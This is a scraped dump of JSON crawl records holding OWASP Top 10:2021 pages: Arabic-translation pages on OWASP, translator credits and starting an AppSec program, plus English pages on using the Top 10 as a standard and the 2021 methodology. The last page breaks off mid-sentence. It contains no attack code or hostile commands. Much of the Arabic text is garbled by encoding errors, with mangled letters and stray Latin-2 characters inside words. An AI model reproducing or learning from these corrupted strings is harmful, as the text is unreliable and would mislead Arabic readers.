[@manicode](https://x.com/manicode) and Jakub Maćkowski [@kubamackowski](https://x.com/kubamackowski) - OWASP CheatSheets Coordination\n\n## المترجمين\n\n- [Malek Aldossary](https://x.com/Malajab) , [Mohammed Alsuhaymi](https://x.com/msuhaymi) , [Thamer Alshammeri](https://x.com/t44t_) , [Yara Eissa Abdu Ajeebi](https://x.com/YE_A1) , [Wesal Majeed Alobaidi](https://x.com/Wesal_m6) , [Amal Almutairi](http://linkedin.com/in/amal-almutairi-9a617915b) , [Noura Abdulmohsen Alsubaie](https://x.com/NouraAlsubaie97) , [Mohammed Ibrahem Alsheky](https://www.linkedin.com/in/mohammed-ibrahem-6b088368) , [Zainab Hussain Al Hussain](https://x.com/zain303) , [FAHAD ALOTAIFEE](https://x.com/fad_777) , [Nowayer](https://x.com/_Nowayer_) , [Saja Alqurashi](https://x.com/saja_alqurashi) , [Raghad Aljabr](http://linkedin.com/in/raghad-aljabr-3b3846124) , [Majed alrhyel](https://x.com/1en_majed) , [Almaha](https://x.com/emy797kay) , [Mohammed AL Busaidi](https://www.linkedin.com/in/mohammed-al-busaidi-124988ab) , [Aljohara Alsubaie](http://linkedin.com/in/aljohara-alsubaie-538b3b168) , [Rana Gharmallah Alzahrani](http://linkedin.com/in/rana-alzahrani-26447b19b) , [Haniya](https://x.com/_______HAA) , [Fahdah Alhadayan](https://www.linkedin.com/in/fahdahmh) , [Ibtisam AlTuraif](https://x.com/EbAlturaif) , [Abeer Alwelaie](https://x.com/abeerp7_) , [Nasser bin Hasen](https://x.com/r00t_nasser) , [Mubark Allaghbi](https://x.com/mallaghbi) , [Roaa Aljohani](https://www.linkedin.com/in/roaa-aljohani-86824b89)\n\n## كيف تقوم بمساعدتنا\n\nفي هذه المراحل، نطلب مساعدتك فيما يلي:\n\n- علماء البيانات: يرجى مراجعة التحليلات التي قمنا بها.\n- مصمّمو الويب: نحتاج إلى إنشاء نسخة متوافقة مع الأجهزة المحمولة.\n- المترجمون: يرجى مراجعة النص باللغة الإنجليزية والتأكد أنه قابل للترجمة.\n\n## طلبات الرفع وتسجيل التذاكر\n\nفي حال و؏ود أي مشكلة أو تعديل، يرجى زيارة الرابط التالي:\n\n- [https://github.com/OWASP/Top10/issues](https://github.com/OWASP/Top10/issues)", "znaku_textu": 2987, "slov": 238, "odkazu": 74, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:58", "sha256": "57a94bd5a0c888bb64dcb5478bdfca6317ec3a31ad10331ad4af03143eff6fa9", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://x.com/vanderaj", "https://x.com/infosecdad", "https://x.com/appsecneil", "https://x.com/torsten_tweet", "https://x.com/orange_8361", "https://x.com/manicode", "https://x.com/kubamackowski", "https://x.com/Malajab", "https://x.com/msuhaymi", "https://x.com/t44t_", "https://x.com/YE_A1", "https://x.com/Wesal_m6", "http://linkedin.com/in/amal-almutairi-9a617915b", "https://x.com/NouraAlsubaie97", "https://www.linkedin.com/in/mohammed-ibrahem-6b088368", "https://x.com/zain303", "https://x.com/fad_777", "https://x.com/_Nowayer_", "https://x.com/saja_alqurashi", "http://linkedin.com/in/raghad-aljabr-3b3846124", "https://x.com/1en_majed", "https://x.com/emy797kay", "https://www.linkedin.com/in/mohammed-al-busaidi-124988ab", "http://linkedin.com/in/aljohara-alsubaie-538b3b168", "http://linkedin.com/in/rana-alzahrani-26447b19b", "https://x.com/_______HAA", "https://www.linkedin.com/in/fahdahmh", "https://x.com/EbAlturaif", "https://x.com/abeerp7_", "https://x.com/r00t_nasser", "https://x.com/mallaghbi", "https://www.linkedin.com/in/roaa-aljohani-86824b89", "https://github.com/OWASP/Top10/issues", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/0x01_2021-about-owasp/", "titulek": "عن أواسب - OWASP Top 10:2021", "h1": "عن أواسب", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/0x01_2021-about-owasp/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "عن أواسب"}, {"uroven": 2, "text": "حقوق النشر والترخيص"}], "markdown": "# عن أواسب\n\nمشروع أمان تطبيق الويب المفتوح أواسب (OWASP) هو مجتمع مفتوح المصدر ويركز على تمكين المؤسسات من تطوير وشعاإ وصيانة التطبيقات وواجهات برمجة التطبيقات (APIs) التي يمكن الوثوق بها.\n\nفي أواسب ست؏د:\n\n- أدوات ومعايير أمان التطبيق\n- الأبحاث المتطورة\n- الضوابط الأمنية الأساسية المبنية على افضل السياسات.\n- كتب كاملة عن ا؎تباع أمن التطبيقات، وتطوير ومراجعة النص البرمجي الآمن.\n- العروض التقديمية و [مقاطع الفيديو](https://www.youtube.com/user/OWASPGLOBAL)\n- [Cheat sheets](https://cheatsheetseries.owasp.org/) حول العديد من الموضوعات الشائعة\n- [اجتماعات المجموعات](https://owasp.org/chapters/)\n- [الأحداث والتدريب والمؤتمرات](https://owasp.org/events/) .\n- [مجموعات قوقل](https://groups.google.com/g/owasp)\n\nاؚعف المزيد على: [https://owasp.org](https://owasp.org).\n\nجميع أدوات أواسب والمستندات ومقاطع الفيديو والعروض التقديمية والفصول مجانية ومفتوحة لأي Ř´ŘŽŘľ مهتم بتحسين أمن التطبيقات.\n\nنحن ندعو إلى التعامل مع أمن التطبيقات باعتباره مشكلة تتعلق بالأشخاص والسياسات التقنية، لأن الأساليب الأكثر فاعلية لأمن التطبيقات تتطلّب تحسينات في هذه المجالات.\n\nأواسب نوع جديد من التنظيم. يسمح لنا بالتحرّر من الضغوط التجارية بتقديم معلومات غير متحيزة وعملية وفعالة من حيث التكلفة حول أمن التطبيقات.\n\nأواسب ليست تابؚ؊ لأي شعك؊ تقنية، على الرغم من أننا ندعم الاستخدام المستنير لتقنيات الأمن التجارية. تنتج أواسب أنواعًا عديدة من المواد بطريقة تعاونية وشفاف؊ ومنفتحة.\n\nمؤسسة أواسب هي كيان غير ربحي والذي يضمن نجاح المشروع على المدى الطويل. كل Ř´ŘŽŘľ مرتبط بـ أواسب تقريبًا متطوع، بما في ذلك مجلس أواسب وقادة الفروع وقادة المشروع وأؚ؜اإ المشروع. نحن ندعم الأبحاث الأمنية المُبتكرة من خلال المنح والبنية التحتية.\n\n## حقوق النشر والترخيص\n\nحقوق النشر Š مؤسسة أواسب 2003-2025. تم ؼؾداع هذا المستند بموجب ترخيص الإبداعي الترخيص بالمثل 4.0. لأي ؼؚاد؊ استخدام أو توزيع، يجب أن تو؜ح للآخرين شعوء ترخيص هذا العمل.", "znaku_textu": 3000, "slov": 328, "odkazu": 39, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:01", "sha256": "459b2208d40f5d0458be1f9db217e18008086361f645e068372d263680220feb", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/g/owasp", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10/", "titulek": "كيف تبدأ امن التطبيقات مع أعلى ؚشع؊ مخاطر من أواسب - OWASP Top 10:2021", "h1": "كيف تبدأ برنامج أمن التطبيقات مع أواسب – أعلى ؚشع؊ مخاطر", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "كيف تبدأ برنامج أمن التطبيقات مع أواسب – أعلى ؚشع؊ مخاطر"}, {"uroven": 2, "text": "المرحلة الأولى: تحديد الثغرات والأهداف الخاصة ببرنامج أمن التطبيقات"}, {"uroven": 2, "text": "المرحلة الثانية: التخطيط لمفهوم الطريق المُمهد في دوع؊ حياة تطوير البرمجيات بطريقة آمنة"}, {"uroven": 2, "text": "المرحلة الثالثة: تنفيذ مفهوم الطريق الممهد مع فرق التطوير الخاصة بك"}, {"uroven": 2, "text": "المرحلة الرابعة: ترحيل جميع التطبيقات الحالية والقادمة إلى منهجية الطريق الممهد"}, {"uroven": 2, "text": "المرحلة الخامسة: ا؎تباع مفهوم الطريق المُمهد إن كان قد خفّف من المشاكل الموجودة في أواسب – أعلى ؚشع؊ مخاطر"}, {"uroven": 2, "text": "المرحلة السادسة: قم ببناء برنامجك في بيئة برمجية آمنة"}, {"uroven": 2, "text": "الذهاب إلى أبؚد من ذلك"}], "markdown": "# كيف تبدأ برنامج أمن التطبيقات مع أواسب – أعلى ؚشع؊ مخاطر\n\nفي السابق، لم يتم تصميم أواسب – أعلى ؚشع؊ مخاطر أبدًا ليكون أساسًا لبرامج أمن التطبيقات. ومع ذلك، من الضروري أن تبدأ من مكانٍ ما، العديد من المؤسسات التي بدأت للتوّ في رحلة أمان التطبيقات الخاصة بها. تُعد أواسب – أعلى ؚشع؊ مخاطر لعام 2021 بداية جيّدة ك؎ء أساس لقوائم المراجعة وما إلى ذلك، ولكنها ليست كافية في Ř­ŘŻ ذاتها.\n\n## المرحلة الأولى: تحديد الثغرات والأهداف الخاصة ببرنامج أمن التطبيقات\n\nتحاول العديد من برامج أمن التطبيقات (AppSec) الجري قبل أن تتمكن من الزحف أو المشي. هذه الجهود محكوم عليها بالفشل. نحن نشجّع بشدّة مدراء أمن المعلومات CISOs وكباع مختصّي أمن التطبيقات على استخدام نموذج أواسب لنضج وضمان البرامج [SAMM](https://owaspsamm.org) لتحديد نقاط الضعف ومجالات التحسين على مدى فتع؊ تتعاوح ما بين 1-3 سنوات. تتمثّل الخطوة الأولى في تقييم و؜ؚك الحالي، وتحديد الثغرات في الحوكمة والتصميم والتنفيذ والتحقق والعمليات التي تحتا؏ إلى حلّها على الفور مقابل تلك التي يمكن أن تنتظر، وتحديد أولويات تنفيذ أو تحسين الخمسة ؚشع لنموذج أواسب لنضج وضمان البرامج (SAMM). يمكن أن يساعدك نموذج أواسب (SAMM) في بناء وقياس التحسينات في البرنامج لضمان الجهود.\n\n## المرحلة الثانية: التخطيط لمفهوم الطريق المُمهد في دوع؊ حياة تطوير البرمجيات بطريقة آمنة\n\nتقليديًا، الحفاظ على ما يسمى \"أحادي القرن\"، مفهوم الطريق المُمهد هو أسهل طريقة لتحقيق أكبع قدر من التأثير وتوسيع نطاق موارد أمن التطبيقات مع سعؚ؊ فرق التطوير، والتي تزيد كل عام فقط.\n\nيعتبر مفهوم الطريق المُمهد أسهل طريقة وأيضًا الطريقة الأكثر أمانًا، ويجب أن تتضمّن ثقافة الشراكة العميقة بين فريق التطوير والفريق الأمني، ويُفضّل أن يكونا نفس الفريق. يهدف الطريق المُمهد إلى التحسين المُستمر للبدائل الغير آمنة وقياسها واكتشافها واستبدالها من خلال و؏ود مكتبة على مستوى المؤسسة من البدائل المؤمّنة، مع أدوات للمساعدة في معرفة أين يمكن ؼ؏عاإ التحسينات من خلال اعتماد الطريق المُمهد. يسمح ذلك لأدوات التطوير الحالية بالإبلاغ عن البنيات الغير آمنة ومساعدة فرق التطوير على التصحيح الذاتي بعيدًا عن البدائل الغير آمنة.\n\nقد يبدو أن الطريق المُمهد يتطلّب الكثير من الوقت، ولكن يجب أن يتم بناؤه تدريجيًا مع مرور الوقت. هناك أشكال أخرى من برامج أمن التطبيقات، لاسيما دوع؊ حياة التطوير الآمن أجايل مايكروسوفت Microsoft Agile. ليست بالضرورة أن تناسب منهجيّة برنامج أمن التطبيقات كل الأعمال.\n\n## المرحلة الثالثة: تنفيذ مفهوم الطريق الممهد مع فرق التطوير الخاصة بك\n\nيتم بناء منهجيّة الطريق المُمهد بالموافقة والمشاركة المباشرة من قبل فرق التطوير والعمليات ذات الصِلة. يجب مواءمة منهجيّة الطريق المُمهد بشكل استراتيجي مع الأعمال والمساعدة في تقديم تطبيقات أك؍ع أمانًا بشكل أسعؚ. يجب أن يكون تطوير الطريق المُمهد تمرينًا شاملًا يُغطي النظام البيئي للمؤسسة أو التطبيق بالكامل، وليس أدا؊ مساعدة لكل تطبيق، كما كان في الزمن السابق.\n\n## المرحلة الرابعة: ترحيل جميع التطبيقات الحالية والقادمة إلى منهجية الطريق الممهد\n\nأ؜ِف أدوات اكتشاف منهجيّة الطريق المُمهد أثناء تطويرها وقم بتقديم معلومات لفرق التطوير لتحسين أمان تطبيقاتهم من خلال كيفية اعتمادهم المباشر لعناصر مفهوم الطريق المُمهد. وبمجرد اعتماد جانب من جوانب مفهوم الطريق المُمهد، يجب على المؤسسات تنفيذ فحوؾات تكامل مستمرة لفحص الشفرة الحالية وعمليات تسجيل الوصول التي تستخدم بدائل محظورة وتحذّر أو تمنع إنشاؤها أو الوصول لها. هذا يمنع الخيارات الغير آمنة من التسلل إلى الشفرة بمرور الوقت، مما يمنع الأعباء التقنية والتطبيق الغير الآمن المُعيب. يجب أن تعتبء هذه التحذيرات بالبديل الآمن، حتى يتم ؼؚءاإ فرق التطوير الإجابة الصحيحة على الفور. يمكنهم ؼؚاد؊ بناء واعتماد مكوّن الطريق المُمهد بسعؚ؊.\n\n## المرحلة الخامسة: ا؎تباع مفهوم الطريق المُمهد إن كان قد خفّف من المشاكل الموجودة في أواسب – أعلى ؚشع؊ مخاطر\n\nيجب أن تعالج مكونات الطريق المُمهد المشاكل الكبيرة في أواسب – أعلى ؚشع؊ مخاطر، على سبيل المثال، كيفية اكتشاف أو إصلاح المكونات الضعيفة تلقائيًا، أو مكوّن بيئة تطوير متكاملة IDE لتحليل النص البرمجي الثابت لاكتشاف الحقن أو حتى مكتبة معروفة بأنها آمنة ؜د الحقن، مثل مكتبة React أو Vue. كلما زاد ؚدد هذه البدائل الآمنة التي يتم توفيرها للفرق، كان ذلك أفضل. تتمثّل إحدى المهام الحيوية لفريق \"أمان التطبيقات\" في التأكد من أن أمان هذه المكونات يتم تقييمه وتحسينه باستمرار. وبمجرد تحسينها، يجب أن يُشير شكل من أشكال مسار الاتصال مع مستخدمي المكوّن إلى أنه يجب ؼ؏عاإ ترقية، ويُفضّل أن يكون ذلك تلقائيًا، وإن لم يكن الأمر كذلك، يجب على الأقل تسليط الضوء على اللوحة الرئيسية للتحكم أو ما شابه ذلك.\n\n## المرحلة السادسة: قم ببناء برنامجك في بيئة برمجية آمنة\n\nيجب ألا يقتصر اعتمادك على أواسب- اعلى ؚشع؊ مخاطر فقط. فهو يغطي فقط 10 ف،ات من المخاطر. نحن نشجع المؤسسات بشد؊ على اعتماد معيار التحقق من أمن التطبيقات وؼ؜اف؊ مكونات منهجية الطرق الممهدة وا؎تباعات المستوى 1 و2 و3 تدريجيًا، اعتمادًا على مستوى مخاطر التطبيقات المطورة.\n\n## الذهاب إلى أبؚد من ذلك\n\nجميع برامج حماية التطبيقات الرائعة تت؏اوز الحد الأدنى، فيجب على الجميع الاستمرار ؼذا أردنا أن نتغلّب على الثغرات الأمنية للتطبيقات.\n\n- **تكامل المفاهيŮ**. يجب أن تحتوي برامج أمن التطبيقات المتطورة على بؚ؜ المفاهيم الخاصة بهندسة الأمن، سواإ كانت بنية سحابية رسمية أو بنية أمان مؤسسية أو نمذجة للتهديدات\n- **الأتمتة والقياس**. تحاول برامج أمن التطبيقات المتطوّرة أتمتة أكبع قدر ممكن من مخرجاتها، باستخدام البرامج النصيّة لمحاكاة ؎ءوات ا؎تباع الاختراق المعقدة، وأدوات تحليل النص البرمجي الثابت المتاح لفرق التطوير، ومساعدة فرق التطوير في بناء وحد؊ أمن التطبيقات وا؎تباعات التكامل، وغيرها..\n- **الثقافة**. تحاول برامج أمن التطبيقات المتطوّرة بناء تصميم غير آمن والقضاء على الديّن التقني للنص البرمجي الحالي من خلال كونها جزءًا من فريق التطوير وليس عملًا جانبيًا. فرق أمن التطبيقات ترى فرق التطوير على أنها \"نحن\" و \"هم\" محكوم عليهم بالفشل.\n- **التحسين المستمر**. تتطلّع البرمجة الآمنة للتطبيقات المتطوّرة إلى التحسين المستمر. ؼذا كان هناك شيء لا يتحسّن أو يتطوّر، فتوقّف عنه أو ؼذا كان هناك شيء غير قابل للتطوير، اعمل على تحسينه. ؼذا لم يتم استخدام شيء من قِبل فرق التطوير ولم يكن له تأثير أو تأثير محدود، فافعل شيئًا مُختلفًا. لمجرد أننا أجرينا ا؎تباعات مثل الفحوصات المكتبية منذ السبعينات لا يعني أنها فكع؊ جيّدة. قم بالقياس والتقييم ثم البناء أو التحسين المستمر", "znaku_textu": 10296, "slov": 1264, "odkazu": 40, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:00", "sha256": "b2be0a999ab8ffc3114b2c054d99e9ed172524f5ed25b2c8a94505c32f9094af", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard/", "titulek": "كيف تستخدم ؼءاع أعلى ؚشع؊ مخاطر من أواسب كنموذج معياري. - OWASP Top 10:2021", "h1": "How to use the OWASP Top 10 as a standard", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "How to use the OWASP Top 10 as a standard"}], "markdown": "# How to use the OWASP Top 10 as a standard\n\nThe OWASP Top 10 is primarily an awareness document. However, this has\nnot stopped organizations from using it as a de facto industry AppSec\nstandard since its inception in 2003. If you want to use the OWASP Top\n10 as a coding or testing standard, know that it is the bare minimum and\njust a starting point.\n\nOne of the difficulties of using the OWASP Top 10 as a standard is that\nwe document AppSec risks, and not necessarily easily testable issues.\nFor example, A04:2021-Insecure Design is beyond the scope of most forms\nof testing. Another example is testing whether in-place, in-use, and effective\nlogging and monitoring are implemented, which can only be done with interviews and requesting a\nsampling of effective incident responses. A static code analysis tool\ncan look for the absence of logging, but it might be impossible to\ndetermine if business logic or access control is logging critical\nsecurity breaches. Penetration testers may only be able to determine\nthat they have invoked incident response in a test environment, which\nis rarely monitored in the same way as production.\n\nHere are our recommendations for when it is appropriate to use the OWASP\nTop 10:\n\n| Use Case | OWASP Top 10 2021 | OWASP Application Security Verification Standard |\n| --- | --- | --- |\n| Awareness | Yes | |\n| Training | Entry level | Comprehensive |\n| Design and architecture | Occasionally | Yes |\n| Coding standard | Bare minimum | Yes |\n| Secure Code review | Bare minimum | Yes |\n| Peer review checklist | Bare minimum | Yes |\n| Unit testing | Occasionally | Yes |\n| Integration testing | Occasionally | Yes |\n| Penetration testing | Bare minimum | Yes |\n| Tool support | Bare minimum | Yes |\n| Secure Supply Chain | Occasionally | Yes |\n\nWe would encourage anyone wanting to adopt an application security\nstandard to use the [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/)\n(ASVS), as it’s designed to be verifiable and tested, and can be used in\nall parts of a secure development lifecycle.\n\nThe ASVS is the only acceptable choice for tool vendors. Tools cannot\ncomprehensively detect, test, or protect against the OWASP Top 10 due to\nthe nature of several of the OWASP Top 10 risks, with reference to\nA04:2021-Insecure Design. OWASP discourages any claims of full coverage\nof the OWASP Top 10, because it’s simply untrue.", "znaku_textu": 2349, "slov": 373, "odkazu": 33, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:59", "sha256": "a32ecfed81fd4dc8c9a9639588c29947e4f8a4641f137383a81ba95b5cdf6be9", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A00_2021_Introduction/", "titulek": "المقدمة - OWASP Top 10:2021", "h1": "Introduction", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A00_2021_Introduction/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "Welcome to the OWASP Top 10 - 2021"}, {"uroven": 2, "text": "What's changed in the Top 10 for 2021"}, {"uroven": 2, "text": "Methodology"}, {"uroven": 2, "text": "How the categories are structured"}, {"uroven": 2, "text": "How the data is used for selecting categories"}, {"uroven": 2, "text": "Why not just pure statistical data?"}, {"uroven": 2, "text": "Why incidence rate instead of frequency?"}, {"uroven": 2, "text": "What is your data collection and analysis process?"}, {"uroven": 2, "text": "Data Factors"}, {"uroven": 2, "text": "Thank you to our data contributors"}, {"uroven": 2, "text": "Thank you to our sponsors"}], "markdown": "# Introduction\n\n## Welcome to the OWASP Top 10 - 2021\n\nWelcome to the latest installment of the OWASP Top 10! The OWASP Top 10 2021 is all-new, with a new graphic design and an available one-page infographic you can print or obtain from our home page.\n\nA huge thank you to everyone that contributed their time and data for this iteration. Without you, this installment would not happen. **THANK YOU!**\n\n## What's changed in the Top 10 for 2021\n\nThere are three new categories, four categories with naming and scoping changes, and some consolidation in the Top 10 for 2021. We've changed names when necessary to focus on the root cause over the symptom.\n\n- **[A01:2021-Broken Access Control](../A01_2021-Broken_Access_Control/)** moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category.\n- **[A02:2021-Cryptographic Failures](../A02_2021-Cryptographic_Failures/)** shifts up one position to #2, previously known as **A3:2017-Sensitive Data Exposure** , which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise.\n- **[A03:2021-Injection](../A03_2021-Injection/)** slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition.\n- **[A04:2021-Insecure Design](../A04_2021-Insecure_Design/)** is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to \"move left\" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks.\n- **[A05:2021-Security Misconfiguration](../A05_2021-Security_Misconfiguration/)** moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for **A4:2017-XML External Entities (XXE)** is now part of this risk category.\n- **[A06:2021-Vulnerable and Outdated Components](../A06_2021-Vulnerable_and_Outdated_Components/)** was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores.\n- **[A07:2021-Identification and Authentication Failures](../A07_2021-Identification_and_Authentication_Failures/)** was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping.\n- **[A08:2021-Software and Data Integrity Failures](../A08_2021-Software_and_Data_Integrity_Failures/)** is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. **A8:2017-Insecure Deserialization** is now a part of this larger category.\n- **[A09:2021-Security Logging and Monitoring Failures](../A09_2021-Security_Logging_and_Monitoring_Failures/)** was previously **A10:2017-Insufficient Logging & Monitoring** and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics.\n- **[A10:2021-Server-Side Request Forgery](../A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time.\n\n## Methodology\n\nThis installment of the Top 10 is more data-driven than ever but not blindly data-driven. We selected eight of the ten categories from contributed data and two categories from the Top 10 community survey at a high level. We do this for a fundamental reason, looking at the contributed data is looking into the past. AppSec researchers take time to find new vulnerabilities and new ways to test for them. It takes time to integrate these tests into tools and processes. By the time we can reliably test a weakness at scale, years have likely passed. To balance that view, we use a community survey to ask application security and development experts on the front lines what they see as essential weaknesses that the data may not show yet.\n\nThere are a few critical changes that we adopted to continue to mature the Top 10.\n\n## How the categories are structured\n\nA few categories have changed from the previous installment of the OWASP Top Ten. Here is a high-level summary of the category changes.\n\nPrevious data collection efforts were focused on a prescribed subset of approximately 30 CWEs with a field asking for additional findings. We learned that organizations would primarily focus on just those 30 CWEs and rarely add additional CWEs that they saw. In this iteration, we opened it up and just asked for data, with no restriction on CWEs. We asked for the number of applications tested for a given year (starting in 2017), and the number of applications with at least one instance of a CWE found in testing. This format allows us to track how prevalent each CWE is within the population of applications. We ignore frequency for our purposes; while it may be necessary for other situations, it only hides the actual prevalence in the application population. Whether an application has four instances of a CWE or 4,000 instances is not part of the calculation for the Top 10. We went from approximately 30 CWEs to almost 400 CWEs to analyze in the dataset. We plan to do additional data analysis as a supplement in the future. This significant increase in the number of CWEs necessitates changes to how the categories are structured.\n\nWe spent several months grouping and categorizing CWEs and could have continued for additional months. We had to stop at some point. There are both *root cause* and *symptom* types of CWEs, where *root cause* types are like \"Cryptographic Failure\" and \"Misconfiguration\" contrasted to *symptom* types like \"Sensitive Data Exposure\" and \"Denial of Service.\" We decided to focus on the *root cause* whenever possible as it's more logical for providing identification and remediation guidance. Focusing on the *root cause* over the *symptom* isn't a new concept; the Top Ten has been a mix of *symptom* and *root cause*. CWEs are also a mix of *symptom* and *root cause*; we are simply being more deliberate about it and calling it out. There is an average of 19.6 CWEs per category in this installment, with the lower bounds at 1 CWE for **A10:2021-Server-Side Request Forgery (SSRF)** to 40 CWEs in **A04:2021-Insecure Design**. This updated category structure offers additional training benefits as companies can focus on CWEs that make sense for a language/framework.\n\n## How the data is used for selecting categories\n\nIn 2017, we selected categories by incidence rate to determine likelihood, then ranked them by team discussion based on decades of experience for *Exploitability*, *Detectability* (also *likelihood*), and *Technical Impact*. For 2021, we want to use data for *Exploitability* and *(Technical) Impact* if possible.\n\nWe downloaded OWASP Dependency Check and extracted the CVSS Exploit, and Impact scores grouped by related CWEs. It took a fair bit of research and effort as all the CVEs have CVSSv2 scores, but there are flaws in CVSSv2 that CVSSv3 should address. After a certain point in time, all CVEs are assigned a CVSSv3 score as well. Additionally, the scoring ranges and formulas were updated between CVSSv2 and CVSSv3.\n\nIn CVSSv2, both *Exploit* and *(Technical) Impact* could be up to 10.0, but the formula would knock them down to 60% for *Exploit* and 40% for *Impact*. In CVSSv3, the theoretical max was limited to 6.0 for *Exploit* and 4.0 for *Impact*. With the weighting considered, the Impact scoring shifted higher, almost a point and a half on average in CVSSv3, and exploitability moved nearly half a point lower on average.\n\nThere are 125k records of a CVE mapped to a CWE in the National Vulnerability Database (NVD) data extracted from OWASP Dependency Check, and there are 241 unique CWEs mapped to a CVE. 62k CWE maps have a CVSSv3 score, which is approximately half of the population in the data set.\n\nFor the Top Ten 2021, we calculated average *exploit* and *impact* scores in the following manner. We grouped all the CVEs with CVSS scores by CWE and weighted both *exploit* and *impact* scored by the percentage of the population that had CVSSv3 + the remaining population of CVSSv2 scores to get an overall average. We mapped these averages to the CWEs in the dataset to use as *Exploit* and *(Technical) Impact* scoring for the other half of the risk equation.\n\n## Why not just pure statistical data?\n\nThe results in the data are primarily limited to what we can test for in an automated fashion. Talk to a seasoned AppSec professional, and they will tell you about stuff they find and trends they see that aren't yet in the data. It takes time for people to develop testing methodologies for certain vulnerability types and then more time for those tests to be automated and run against a large population of applications. Everything we find is looking back in the past and might be missing trends from the last year, which are not present in the data.\n\nTherefore, we only pick eight of ten categories from the data because it's incomplete. The other two categories are from the Top 10 community survey. It allows the practitioners on the front lines to vote for what they see as the highest risks that might not be in the data (and may never be expressed in data).\n\n## Why incidence rate instead of frequency?\n\nThere are three primary sources of data. We identify them as Human-assisted Tooling (HaT), Tool-assisted Human (TaH), and raw Tooling.\n\nTooling and HaT are high-frequency finding generators. Tools will look for specific vulnerabilities and tirelessly attempt to find every instance of that vulnerability and will generate high finding counts for some vulnerability types. Look at Cross-Site Scripting, which is typically one of two flavors: it's either 